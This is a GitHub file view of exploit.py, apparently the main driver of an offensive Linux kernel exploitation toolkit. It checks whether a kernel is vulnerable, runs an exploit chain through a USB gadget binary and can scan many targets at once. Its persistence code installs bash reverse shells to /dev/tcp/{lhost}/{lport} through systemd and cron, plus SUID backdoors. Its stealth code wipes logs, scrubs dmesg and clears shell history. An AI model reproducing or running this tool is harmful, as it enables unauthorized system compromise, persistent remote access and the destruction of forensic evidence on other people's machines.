Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
99 lines (90 loc) · 3.54 KB
/
Copy pathexploit.py
File metadata and controls
99 lines (90 loc) · 3.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import json
from source.core import banner, cli, logger, safecheck, gadget
from source.core import exploit as chain
from source.persistence import systemd, ssh_key, cron, suid, dns_tunnel
from source.stealth import log_wipe, artifact_cleanup, dmesg_scrub, history_clean, timestomp
def run_safecheck(log):
report = safecheck.check()
log.info(f"kernel: {report.kernel}")
log.info(f"vulnerable: {report.vulnerable}")
log.info(f"usb-storage: {report.usb_storage}")
log.info(f"authorized_default: {report.authorized}")
if report.notes:
log.info(f"note: {report.notes}")
return report.to_dict()
def run_detect(args, log):
report = safecheck.check()
if not report.vulnerable:
log.info("kernel not vulnerable")
return {"ok": False, "reason": "not vulnerable"}
binary = gadget.find_binary(args.gadget_bin)
if not binary:
log.error("gadget binary not found")
return {"ok": False, "reason": "gadget missing"}
data = gadget.run_gadget(binary, args.udc, args.offsets, mode="leak")
return data
def run_exploit(args, log):
binary = gadget.find_binary(args.gadget_bin)
if not binary:
return {"ok": False, "error": "gadget missing"}
known_offset = 0x1000000
outcome = chain.run(binary, args.udc, args.offsets, known_offset, retries=args.retry)
return outcome
def run_persist(args, log):
mods = [m.strip() for m in args.persist_mods.split(",") if m.strip()]
results = {}
for mod in mods:
if mod == "systemd" and args.lhost:
results[mod] = systemd.install("/bin/sh", ["-c", f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"])
elif mod == "ssh_key":
results[mod] = ("skip", "ssh_key needs a key argument")
elif mod == "cron" and args.lhost:
results[mod] = cron.install("* * * * *", f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'")
elif mod == "suid":
results[mod] = suid.install()
elif mod == "dns_tunnel":
results[mod] = ("skip", "needs domain and nameserver")
else:
results[mod] = ("skip", "unknown or incomplete module")
return results
def run_stealth(args, log):
mods = [m.strip() for m in args.stealth_mods.split(",") if m.strip()]
results = {}
for mod in mods:
if mod == "log_wipe":
results[mod] = log_wipe.run()
elif mod == "artifact_cleanup":
results[mod] = artifact_cleanup.run()
elif mod == "dmesg_scrub":
results[mod] = dmesg_scrub.run()
elif mod == "history_clean":
results[mod] = history_clean.run()
elif mod == "timestomp":
results[mod] = ("skip", "timestomp requires explicit target paths")
else:
results[mod] = "unknown"
return results
def main():
args = cli.parse_args()
log = logger.get_logger(args.verbose, args.quiet)
banner.banner()
if args.safecheck:
out = run_safecheck(log)
elif args.detect:
out = run_detect(args, log)
elif args.exploit:
out = run_exploit(args, log)
elif args.persist:
out = run_persist(args, log)
elif args.mass:
from source.mass import orchestrator
targets = orchestrator.load_targets(args.target)
out = orchestrator.run(targets, lambda t: run_detect(args, log))
else:
out = run_safecheck(log)
if args.output:
with open(args.output, "w") as fh:
json.dump(out, fh, indent=2, default=str)
return out
if __name__ == "__main__":
main()